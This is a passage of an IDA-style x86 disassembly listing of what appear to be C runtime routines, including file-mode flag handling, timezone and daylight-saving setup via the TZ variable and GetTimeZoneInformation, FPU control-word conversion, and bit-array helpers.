loc_4337DB: ; CODE XREF: sub_4335E9+1EAj
cmp eax, 3
jnz short loc_4337E4
or [ebp+var_1], 8
loc_4337E4: ; CODE XREF: sub_4335E9+1F0j
; sub_4335E9+1F5j
push esi
push ebx
call sub_43220E
mov eax, ebx
pop ecx
sar eax, 5
pop ecx
mov cl, [ebp+var_1]
lea edi, ds:676EC0h[eax*4]
mov eax, ebx
or cl, 1
and eax, 1Fh
mov byte ptr [ebp+arg_0+3], cl
lea esi, [eax+eax*8]
mov eax, [edi]
shl esi, 2
and byte ptr [ebp+arg_0+3], 48h
mov [eax+esi+4], cl
jnz short loc_433891
test cl, 80h
jz short loc_433891
test byte ptr [ebp+arg_4], 2
jz short loc_433891
push 2
push 0FFFFFFFFh
push ebx
call sub_42F84D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_433852
call sub_42F052
cmp dword ptr [eax], 83h
jz short loc_433891
loc_433846: ; CODE XREF: sub_4335E9+294j
; sub_4335E9+2A6j
push ebx
call sub_42F0D0
pop ecx
or esi, 0FFFFFFFFh
jmp short loc_4338AA
; ---------------------------------------------------------------------------
loc_433852: ; CODE XREF: sub_4335E9+24Ej
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_42F453
add esp, 0Ch
test eax, eax
jnz short loc_43387F
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_43387F
push [ebp+var_10]
push ebx
call sub_434D29
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_433846
loc_43387F: ; CODE XREF: sub_4335E9+27Ej
; sub_4335E9+284j
push 0
push 0
push ebx
call sub_42F84D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_433846
loc_433891: ; CODE XREF: sub_4335E9+22Ej
; sub_4335E9+233j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4338A8
test byte ptr [ebp+arg_4], 8
jz short loc_4338A8
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4338A8: ; CODE XREF: sub_4335E9+2ACj
; sub_4335E9+2B2j
mov esi, ebx
loc_4338AA: ; CODE XREF: sub_4335E9+1CEj
; sub_4335E9+267j
push ebx
call sub_4323AA
pop ecx
mov eax, esi
loc_4338B3: ; CODE XREF: sub_4335E9+119j
; sub_4335E9+19Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4335E9 endp
; =============== S U B R O U T I N E =======================================
sub_4338B8 proc near ; CODE XREF: sub_4300AE+52p
; DATA XREF: sub_420CC8+7o
xor eax, eax
retn
sub_4338B8 endp
; =============== S U B R O U T I N E =======================================
sub_4338BB proc near ; CODE XREF: sub_43039C:loc_4303DBp
cmp dword_676BD0, 0
jnz short locret_4338E8
push 0Bh
call sub_42DA1F
cmp dword_676BD0, 0
pop ecx
jnz short loc_4338E0
call sub_4338E9
inc dword_676BD0
loc_4338E0: ; CODE XREF: sub_4338BB+18j
push 0Bh
call sub_42DA80
pop ecx
locret_4338E8: ; CODE XREF: sub_4338BB+7j
retn
sub_4338BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4338E9 proc near ; CODE XREF: sub_4338BB+1Ap
var_18 = dword ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0Ch
pop edi
xor ebx, ebx
push edi
mov [ebp+var_8], ebx
call sub_42DA1F
or dword_453BA8, 0FFFFFFFFh
or dword_453B98, 0FFFFFFFFh
mov dword_676B18, ebx
mov [esp+18h+var_18], offset aTz ; "TZ"
call sub_431213
mov esi, eax
pop ecx
cmp esi, ebx
jnz loc_433A27
push edi
call sub_42DA80
mov [esp+18h+var_18], offset dword_676B20
call dword_437214 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz loc_433B6B
mov eax, dword_676B20
mov ecx, dword_676B74
imul eax, 3Ch
cmp word_676B66, bx
push 1
pop edx
mov dword_453B04, eax
mov dword_676B18, edx
jz short loc_433977
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_453B04, eax
loc_433977: ; CODE XREF: sub_4338E9+80j
cmp word_676BBA, bx
jz short loc_43399B
mov eax, dword_676BC8
cmp eax, ebx
jz short loc_43399B
sub eax, ecx
mov dword_453B08, edx
imul eax, 3Ch
mov dword_453B0C, eax
jmp short loc_4339A7
; ---------------------------------------------------------------------------
loc_43399B: ; CODE XREF: sub_4338E9+95j
; sub_4338E9+9Ej
mov dword_453B08, ebx
mov dword_453B0C, ebx
loc_4339A7: ; CODE XREF: sub_4338E9+B0j
lea eax, [ebp+var_4]
mov esi, dword_437074
push eax
push ebx
push 3Fh
mov edi, 220h
push off_453B90
push 0FFFFFFFFh
push offset dword_676B24
push edi
push dword_676998
call esi ; dword_437074
test eax, eax
jz short loc_4339E3
cmp [ebp+var_4], ebx
jnz short loc_4339E3
mov eax, off_453B90
and byte ptr [eax+3Fh], 0
jmp short loc_4339EB
; ---------------------------------------------------------------------------
loc_4339E3: ; CODE XREF: sub_4338E9+E8j
; sub_4338E9+EDj
mov eax, off_453B90
and byte ptr [eax], 0
loc_4339EB: ; CODE XREF: sub_4338E9+F8j
lea eax, [ebp+var_4]
push eax
push ebx
push 3Fh
push off_453B94
push 0FFFFFFFFh
push offset dword_676B78
push edi
push dword_676998
call esi ; dword_437074
test eax, eax
jz loc_433B5A
cmp [ebp+var_4], ebx
jnz loc_433B5A
mov eax, off_453B94
and byte ptr [eax+3Fh], 0
jmp loc_433B6B
; ---------------------------------------------------------------------------
loc_433A27: ; CODE XREF: sub_4338E9+3Bj
cmp byte ptr [esi], 0
jz loc_433B64
mov eax, dword_676BCC
cmp eax, ebx
jz short loc_433A4A
push eax
push esi
call sub_42B190
pop ecx
test eax, eax
pop ecx
jz loc_433B64
loc_433A4A: ; CODE XREF: sub_4338E9+14Ej
push dword_676BCC
call sub_429822
push esi
call sub_4292D0
inc eax
push eax
call sub_4296E8
add esp, 0Ch
cmp eax, ebx
mov dword_676BCC, eax
jz loc_433B64
push esi
push eax
call sub_42A500
push edi
call sub_42DA80
push 3
push esi
push off_453B90
call sub_429C40
mov eax, off_453B90
add esi, 3
add esp, 18h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_433AA9
mov [ebp+var_8], 1
inc esi
loc_433AA9: ; CODE XREF: sub_4338E9+1B6j
push esi
call sub_429FA5
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_453B04, ecx
loc_433AC0: ; CODE XREF: sub_4338E9+1E6j
mov al, [esi]
cmp al, 2Bh
jz short loc_433ACE
cmp al, bl
jl short loc_433AD1
cmp al, 39h
jg short loc_433AD1
loc_433ACE: ; CODE XREF: sub_4338E9+1DBj
inc esi
jmp short loc_433AC0
; ---------------------------------------------------------------------------
loc_433AD1: ; CODE XREF: sub_4338E9+1DFj
; sub_4338E9+1E3j
cmp byte ptr [esi], 3Ah
jnz short loc_433B24
inc esi
push esi
call sub_429FA5
imul eax, 3Ch
pop ecx
mov ecx, dword_453B04
add ecx, eax
mov dword_453B04, ecx
loc_433AEF: ; CODE XREF: sub_4338E9+211j
mov al, [esi]
cmp al, bl
jl short loc_433AFC
cmp al, 39h
jg short loc_433AFC
inc esi
jmp short loc_433AEF
; ---------------------------------------------------------------------------
loc_433AFC: ; CODE XREF: sub_4338E9+20Aj
; sub_4338E9+20Ej
cmp byte ptr [esi], 3Ah
jnz short loc_433B24
inc esi
push esi
call sub_429FA5
pop ecx
mov ecx, dword_453B04
add ecx, eax
mov dword_453B04, ecx
loc_433B17: ; CODE XREF: sub_4338E9+239j
mov al, [esi]
cmp al, bl
jl short loc_433B24
cmp al, 39h
jg short loc_433B24
inc esi
jmp short loc_433B17
; ---------------------------------------------------------------------------
loc_433B24: ; CODE XREF: sub_4338E9+1EBj
; sub_4338E9+216j ...
cmp [ebp+var_8], 0
jz short loc_433B32
neg ecx
mov dword_453B04, ecx
loc_433B32: ; CODE XREF: sub_4338E9+23Fj
movsx eax, byte ptr [esi]
test eax, eax
mov dword_453B08, eax
jz short loc_433B5A
push 3
push esi
push off_453B94
call sub_429C40
mov eax, off_453B94
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_433B6B
; ---------------------------------------------------------------------------
loc_433B5A: ; CODE XREF: sub_4338E9+121j
; sub_4338E9+12Aj ...
mov eax, off_453B94
and byte ptr [eax], 0
jmp short loc_433B6B
; ---------------------------------------------------------------------------
loc_433B64: ; CODE XREF: sub_4338E9+141j
; sub_4338E9+15Bj ...
push edi
call sub_42DA80
pop ecx
loc_433B6B: ; CODE XREF: sub_4338E9+57j
; sub_4338E9+139j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4338E9 endp
; =============== S U B R O U T I N E =======================================
sub_433B70 proc near ; CODE XREF: sub_43039C+A5p
arg_0 = dword ptr 4
push esi
push 0Bh
call sub_42DA1F
push [esp+8+arg_0]
call sub_433B91
push 0Bh
mov esi, eax
call sub_42DA80
add esp, 0Ch
mov eax, esi
pop esi
retn
sub_433B70 endp
; =============== S U B R O U T I N E =======================================
sub_433B91 proc near ; CODE XREF: sub_433B70+Cp
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_453B08, edi
jnz short loc_433BA5
loc_433B9E: ; CODE XREF: sub_433B91+148j
; sub_433B91+150j ...
xor eax, eax
jmp loc_433CF1
; ---------------------------------------------------------------------------
loc_433BA5: ; CODE XREF: sub_433B91+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_453B98
jnz short loc_433BC3
cmp eax, dword_453BA8
jz loc_433CC5
loc_433BC3: ; CODE XREF: sub_433B91+24j
cmp dword_676B18, edi
jz loc_433C9B
movzx ecx, word_676BC6
push ecx
cmp word_676BB8, di
movzx ecx, word_676BC4
push ecx
movzx ecx, word_676BC2
push ecx
movzx ecx, word_676BC0
push ecx
jnz short loc_433C15
movzx ecx, word_676BBC
push edi
push ecx
movzx ecx, word_676BBE
push ecx
movzx ecx, word_676BBA
push ecx
push eax
push ebx
jmp short loc_433C29
; ---------------------------------------------------------------------------
loc_433C15: ; CODE XREF: sub_433B91+65j
movzx ecx, word_676BBE
push ecx
push edi
movzx ecx, word_676BBA
push edi
push ecx
push eax
push edi
loc_433C29: ; CODE XREF: sub_433B91+82j
push ebx
call sub_433D3D
movzx eax, word_676B72
add esp, 2Ch
cmp word_676B64, di
push eax
movzx eax, word_676B70
push eax
movzx eax, word_676B6E
push eax
movzx eax, word_676B6C
push eax
jnz short loc_433C83
movzx eax, word_676B68
push edi
push eax
movzx eax, word_676B6A
push eax
movzx eax, word_676B66
push eax
push dword ptr [esi+14h]
push ebx
loc_433C78: ; CODE XREF: sub_433B91+108j
push edi
call sub_433D3D
add esp, 2Ch
jmp short loc_433CC5
; ---------------------------------------------------------------------------
loc_433C83: ; CODE XREF: sub_433B91+C8j
movzx eax, word_676B6A
push eax
push edi
movzx eax, word_676B66
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_433C78
; ---------------------------------------------------------------------------
loc_433C9B: ; CODE XREF: sub_433B91+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_433D3D
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_433D3D
add esp, 58h
loc_433CC5: ; CODE XREF: sub_433B91+2Cj
; sub_433B91+F0j
mov edx, dword_453B9C
mov eax, dword_453BAC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_433CF5
cmp ecx, edx
jl loc_433B9E
cmp ecx, eax
jg loc_433B9E
cmp ecx, edx
jle short loc_433D09
cmp ecx, eax
jge short loc_433D09
loc_433CEF: ; CODE XREF: sub_433B91+166j
; sub_433B91+16Aj
mov eax, ebx
loc_433CF1: ; CODE XREF: sub_433B91+Fj
; sub_433B91+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433CF5: ; CODE XREF: sub_433B91+144j
cmp ecx, eax
jl short loc_433CEF
cmp ecx, edx
jg short loc_433CEF
cmp ecx, eax
jle short loc_433D09
cmp ecx, edx
jl loc_433B9E
loc_433D09: ; CODE XREF: sub_433B91+158j
; sub_433B91+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_433D30
xor ecx, ecx
cmp eax, dword_453BA0
setnl cl
loc_433D2C: ; CODE XREF: sub_433B91+1AAj
mov eax, ecx
jmp short loc_433CF1
; ---------------------------------------------------------------------------
loc_433D30: ; CODE XREF: sub_433B91+18Ej
xor ecx, ecx
cmp eax, dword_453BB0
setl cl
jmp short loc_433D2C
sub_433B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433D3D proc near ; CODE XREF: sub_433B91+99p
; sub_433B91+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_433DD8
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_433D68
shl esi, 2
mov eax, dword_453BB0[esi]
jmp short loc_433D71
; ---------------------------------------------------------------------------
loc_433D68: ; CODE XREF: sub_433D3D+1Ej
shl esi, 2
mov eax, dword_453BE4[esi]
loc_433D71: ; CODE XREF: sub_433D3D+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_433DAB
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_433DB5
; ---------------------------------------------------------------------------
loc_433DAB: ; CODE XREF: sub_433D3D+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_433DB5: ; CODE XREF: sub_433D3D+6Cj
cmp [ebp+arg_10], 5
jnz short loc_433DF3
cmp [ebp+arg_8], 0
jnz short loc_433DC9
mov esi, dword_453BB4[esi]
jmp short loc_433DCF
; ---------------------------------------------------------------------------
loc_433DC9: ; CODE XREF: sub_433D3D+82j
mov esi, dword_453BE8[esi]
loc_433DCF: ; CODE XREF: sub_433D3D+8Aj
cmp ecx, esi
jle short loc_433DF3
sub ecx, 7
jmp short loc_433DF3
; ---------------------------------------------------------------------------
loc_433DD8: ; CODE XREF: sub_433D3D+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_433DE9
mov ecx, dword_453BB0[eax*4]
jmp short loc_433DF0
; ---------------------------------------------------------------------------
loc_433DE9: ; CODE XREF: sub_433D3D+A1j
mov ecx, dword_453BE4[eax*4]
loc_433DF0: ; CODE XREF: sub_433D3D+AAj
add ecx, [ebp+arg_18]
loc_433DF3: ; CODE XREF: sub_433D3D+7Cj
; sub_433D3D+94j ...
cmp [ebp+arg_0], 1
jnz short loc_433E24
mov eax, [ebp+arg_1C]
mov dword_453B9C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_453B98, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_453BA0, eax
jmp short loc_433E79
; ---------------------------------------------------------------------------
loc_433E24: ; CODE XREF: sub_433D3D+BAj
mov eax, [ebp+arg_1C]
mov dword_453BAC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_453B0C
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_453BB0, eax
jns short loc_433E5C
add eax, 5265C00h
dec ecx
mov dword_453BB0, eax
jmp short loc_433E6D
; ---------------------------------------------------------------------------
loc_433E5C: ; CODE XREF: sub_433D3D+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_433E73
sub eax, edx
inc ecx
mov dword_453BB0, eax
loc_433E6D: ; CODE XREF: sub_433D3D+11Dj
mov dword_453BAC, ecx
loc_433E73: ; CODE XREF: sub_433D3D+126j
mov dword_453BA8, ebx
loc_433E79: ; CODE XREF: sub_433D3D+E5j
pop esi
pop ebx
pop ebp
retn
sub_433D3D endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_433E94: ; CODE XREF: ?9:00433E9Fj
mov al, [edx]
or al, al
jz short loc_433EA1
inc edx
bts [esp], eax
jmp short loc_433E94
; ---------------------------------------------------------------------------
loc_433EA1: ; CODE XREF: ?9:00433E98j
mov esi, [ebp+8]
or ecx, 0FFFFFFFFh
nop
loc_433EA8: ; CODE XREF: ?9:00433EB4j
inc ecx
mov al, [esi]
or al, al
jz short loc_433EB6
inc esi
bt [esp], eax
jnb short loc_433EA8
loc_433EB6: ; CODE XREF: ?9:00433EADj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_433ED4: ; CODE XREF: ?9:00433EDFj
mov al, [edx]
or al, al
jz short loc_433EE1
inc edx
bts [esp], eax
jmp short loc_433ED4
; ---------------------------------------------------------------------------
loc_433EE1: ; CODE XREF: ?9:00433ED8j
mov esi, [ebp+8]
loc_433EE4: ; CODE XREF: ?9:00433EEFj
mov al, [esi]
or al, al
jz short loc_433EF4
inc esi
bt [esp], eax
jnb short loc_433EE4
lea eax, [esi-1]
loc_433EF4: ; CODE XREF: ?9:00433EE8j
add esp, 20h
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433EFA proc near ; CODE XREF: sub_433F2F+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_433F45
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_433FD7
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_433EFA endp
; =============== S U B R O U T I N E =======================================
sub_433F2F proc near ; CODE XREF: sub_430598+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_433EFA
pop ecx
pop ecx
retn
sub_433F2F endp
; =============== S U B R O U T I N E =======================================
sub_433F45 proc near ; CODE XREF: sub_433EFA+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_433F56
push 10h
pop eax
loc_433F56: ; CODE XREF: sub_433F45+Cj
test bl, 4
jz short loc_433F5D
or al, 8
loc_433F5D: ; CODE XREF: sub_433F45+14j
test bl, 8
jz short loc_433F64
or al, 4
loc_433F64: ; CODE XREF: sub_433F45+1Bj
test bl, 10h
jz short loc_433F6B
or al, 2
loc_433F6B: ; CODE XREF: sub_433F45+22j
test bl, 20h
jz short loc_433F72
or al, 1
loc_433F72: ; CODE XREF: sub_433F45+29j
test bl, 2
jz short loc_433F7C
or eax, 80000h
loc_433F7C: ; CODE XREF: sub_433F45+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_433FB4
cmp edx, 400h
jz short loc_433FB1
cmp edx, 800h
jz short loc_433FAD
cmp edx, esi
jnz short loc_433FB4
or eax, edi
jmp short loc_433FB4
; ---------------------------------------------------------------------------
loc_433FAD: ; CODE XREF: sub_433F45+5Ej
or eax, ebp
jmp short loc_433FB4
; ---------------------------------------------------------------------------
loc_433FB1: ; CODE XREF: sub_433F45+56j
or ah, 1
loc_433FB4: ; CODE XREF: sub_433F45+4Ej
; sub_433F45+62j ...
and ecx, edi
pop esi
jz short loc_433FC4
cmp ecx, ebp
jnz short loc_433FC9
or eax, 10000h
jmp short loc_433FC9
; ---------------------------------------------------------------------------
loc_433FC4: ; CODE XREF: sub_433F45+72j
or eax, 20000h
loc_433FC9: ; CODE XREF: sub_433F45+76j
; sub_433F45+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_433FD6
or eax, 40000h
locret_433FD6: ; CODE XREF: sub_433F45+8Aj
retn
sub_433F45 endp
; =============== S U B R O U T I N E =======================================
sub_433FD7 proc near ; CODE XREF: sub_433EFA+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_433FE7
push 1
pop eax
loc_433FE7: ; CODE XREF: sub_433FD7+Bj
test bl, 8
jz short loc_433FEE
or al, 4
loc_433FEE: ; CODE XREF: sub_433FD7+13j
test bl, 4
jz short loc_433FF5
or al, 8
loc_433FF5: ; CODE XREF: sub_433FD7+1Aj
test bl, 2
jz short loc_433FFC
or al, 10h
loc_433FFC: ; CODE XREF: sub_433FD7+21j
test bl, 1
jz short loc_434003
or al, 20h
loc_434003: ; CODE XREF: sub_433FD7+28j
test ebx, 80000h
jz short loc_43400D
or al, 2
loc_43400D: ; CODE XREF: sub_433FD7+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_43403A
cmp ecx, 100h
jz short loc_434037
cmp ecx, esi
jz short loc_434032
cmp ecx, edx
jnz short loc_43403A
or ah, 0Ch
jmp short loc_43403A
; ---------------------------------------------------------------------------
loc_434032: ; CODE XREF: sub_433FD7+50j
or ah, 8
jmp short loc_43403A
; ---------------------------------------------------------------------------
loc_434037: ; CODE XREF: sub_433FD7+4Cj
or ah, 4
loc_43403A: ; CODE XREF: sub_433FD7+44j
; sub_433FD7+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_434050
cmp ecx, 10000h
jnz short loc_434052
or eax, esi
jmp short loc_434052
; ---------------------------------------------------------------------------
loc_434050: ; CODE XREF: sub_433FD7+6Bj
or eax, edx
loc_434052: ; CODE XREF: sub_433FD7+73j
; sub_433FD7+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_43405F
or ah, 10h
locret_43405F: ; CODE XREF: sub_433FD7+83j
retn
sub_433FD7 endp
; =============== S U B R O U T I N E =======================================
sub_434060 proc near ; CODE XREF: sub_4340FF+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4340A5
inc esi
cmp esi, 3
jge short loc_4340A0
lea eax, [eax+esi*4]
loc_434092: ; CODE XREF: sub_434060+3Ej
cmp dword ptr [eax], 0
jnz short loc_4340A5
inc esi
add eax, 4
cmp esi, 3
jl short loc_434092
loc_4340A0: ; CODE XREF: sub_434060+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4340A5: ; CODE XREF: sub_434060+27j
; sub_434060+35j
xor eax, eax
pop esi
retn
sub_434060 endp
; =============== S U B R O U T I N E =======================================
sub_4340A9 proc near ; CODE XREF: sub_4340FF+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_435110
add esp, 0Ch
dec esi
js short loc_4340FB
lea edi, [ebx+esi*4]
loc_4340E2: ; CODE XREF: sub_4340A9+50j
test eax, eax
jz short loc_4340FB
push edi
push 1
push dword ptr [edi]
call sub_435110
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_4340E2
loc_4340FB: ; CODE XREF: sub_4340A9+34j
; sub_4340A9+3Bj
pop edi
pop esi
pop ebx
retn
sub_4340A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4340FF proc near ; CODE XREF: sub_43425A+81p
; sub_43425A+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_434163
inc ebx
push ebx
push [ebp+arg_0]
call sub_434060
pop ecx
test eax, eax
pop ecx
jnz short loc_434160
push edi
push [ebp+arg_0]
call sub_4340A9
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_434160: ; CODE XREF: sub_4340FF+51j
mov eax, [ebp+arg_4]
loc_434163: ; CODE XREF: sub_4340FF+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_434183
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_434183: ; CODE XREF: sub_4340FF+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4340FF endp
; =============== S U B R O U T I N E =======================================
sub_43418B proc near ; CODE XREF: sub_43425A+75p
; sub_43425A+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_434199: ; CODE XREF: sub_43418B+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_434199
pop esi
retn
sub_43418B endp
; =============== S U B R O U T I N E =======================================
sub_4341A6 proc near ; CODE XREF: sub_43425A+5Fp
; sub_43425A+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4341A6 endp
; =============== S U B R O U T I N E =======================================
sub_4341B2 proc near ; CODE XREF: sub_43425A+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4341B8: ; CODE XREF: sub_4341B2+12j
cmp dword ptr [eax], 0
jnz short loc_4341CA
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4341B8
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4341CA: ; CODE XREF: sub_4341B2+9j
xor eax, eax
retn
sub_4341B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4341CD proc near ; CODE XREF: sub_43425A+C0p
; sub_43425A+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_434203: ; CODE XREF: sub_4341CD+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_434203
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_434235: ; CODE XREF: sub_4341CD+86j
cmp ebx, edi
jl short loc_434248
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_43424F
; ---------------------------------------------------------------------------
loc_434248: ; CODE XREF: sub_4341CD+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_43424F: ; CODE XREF: sub_4341CD+79j
dec ebx
sub ecx, 4
jns short loc_434235
pop edi
pop esi
pop ebx
leave
retn
sub_4341CD endp
; =============== S U B R O U T I N E =======================================
